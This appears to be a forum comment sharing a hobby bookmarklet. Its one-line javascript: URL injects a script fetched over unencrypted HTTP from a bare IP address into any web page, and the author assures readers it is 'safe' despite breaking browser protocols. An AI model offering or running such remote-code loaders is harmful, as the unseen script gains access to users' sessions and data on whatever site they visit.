I made a node.js bookmarklet about 5-6 months ago that is sort of the same concept. It is not nearly as full-featured, though. If anyone would like the source, just let me know, as it is a dead project.
It's a bit different in methodology than what OP posted, as it will run on any website, without having to go to another website (or refresh, or anything) but it violates a bunch of browser protocols in the process ;) (it is safe though)
Just make a bookmarklet out of this, or run it on any website.
javascript:var s = document.createElement('script');s.type='text/javascript';document.body.appendChild(s);s.src='http://184.106.196.246:8002/js-global/load.js';void(0);
It's a bit different in methodology than what OP posted, as it will run on any website, without having to go to another website (or refresh, or anything) but it violates a bunch of browser protocols in the process ;) (it is safe though)
Just make a bookmarklet out of this, or run it on any website.
p.s.: no promises it wont explode ;)